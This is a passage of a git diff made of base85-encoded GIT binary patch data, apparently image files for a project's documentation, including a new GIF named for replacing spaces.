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
AU;qFB

literal 0
HcmV?d00001

diff --git a/docs/pics/_u66FF_u6362_u7A7A_u683C.gif b/docs/pics/_u66FF_u6362_u7A7A_u683C.gif
new file mode 100644
index 0000000000000000000000000000000000000000..fe6c5503bcffa54df28b60970e4a6bdcb1240bd9
GIT binary patch
literal 11264
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
